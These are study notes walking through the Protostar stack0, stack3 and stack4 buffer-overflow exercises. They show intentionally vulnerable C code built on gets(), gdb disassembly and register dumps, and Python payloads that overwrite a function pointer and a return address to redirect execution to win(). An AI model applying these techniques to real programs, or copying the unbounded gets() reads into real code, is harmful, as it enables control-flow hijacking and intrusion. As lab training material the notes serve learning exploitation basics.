0x13.
13. Buffer Overflows can Redirect Program Execution - bin.0x0D
: Content
-> gdb, objdump
-> python
-> stack layout
: stack0(C code)(/opt/protostar/bin/stack0)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
: stack3(C code)(/opt/protostar/bin/stack3)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
-> Basically the code is the same. The only difference was that the variable name was changed to "fp" and was defined as a function pointer.
-> volatile int modified;
-> volatile int (*fp)();
: gdb stack3
-> x win (x = exam)
-> 0x8048424 <win>: 0x83e58955
-> p win (p = print)
-> $1 = {void (void)} 0x8048424 <win>
-> set disassembly-flavor intel
-> disassemble main
-> Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60 // Make space for 60 bytes from the stack.
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 // Location of “fp” variable.
0x08048449 <main+17>: lea eax,[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt> // Gets the value using the "gets" function.
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0 // compare values.
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax // Load as "eax" and call the address(fp()).
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
End of assembler dump.
-> break *0x08048475
-> r
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-> info registers
eax 0x41414141 1094795585
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x8048475 0x8048475 <main+61>
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> c
-> Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
: First, see which offset controls “eax”.
-> vim stack.py
print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
-> python stack.py
-> AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
Tips. Pipe this output to a file.
-> python stack.py > exp
-> cat exp
-> AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
: gdb stack3
-> break *0x08048475
-> r < /tmp/exp
-> info registers
eax 0x51515151 1364283729 // chr(0x51) = Q
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x8048475 0x8048475 <main+61>
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> Now we can see which offset modifies "eax".
: vim stack.py
-> padding = “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP”
padding += “\x24\x48\x04\x08” # 0x8048424 & Little Endian
print padding
-> python stack.py > exp
: gdb
-> r
-> info registers
eax 0x8048424 134513700
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x8048475 0x8048475 <main+61>
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> si
-> win () at stack3/stack3.c:7
7 in stack3/stack3.c
-> c
-> Continuing.
code flow successfully changed
Program exited with code 037.
: stack4(C code)(/opt/protostar/bin/stack4) # Buffer overflow utilizing stack layout.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
: When a function is called, the address we want to go back to can be saved in the stack.
-> Thus, instead of overflowing local variables, you can simply overflow the return pointer.
: vim stack.py
-> padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print padding
: gdb stack4
-> r < /tmp/exp
-> Starting program: /opt/protostar/bin/stack4 < /tmp/exp
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? () # chr(0x54) = T
-> info registers
eax 0xbffff770 -1073744016
ecx 0xbffff770 -1073744016
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x54545454 0x54545454
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
: This time, use "objdump" to locate the address of the "win" function.
-> objdump -t stack4 | grep win
-> 080483f4 g F .text 00000014 win
Tips. There is a better way to encode addresses into strings.
-> vim stack.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR"
ebp = "AAAA"
eip = struct.pack("I", 0x080483f4)
print padding+ebp+eip
-> python stack.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault
-> why “Segmentatin fault”?
-> This is because they want to return to the completion of the "win" function.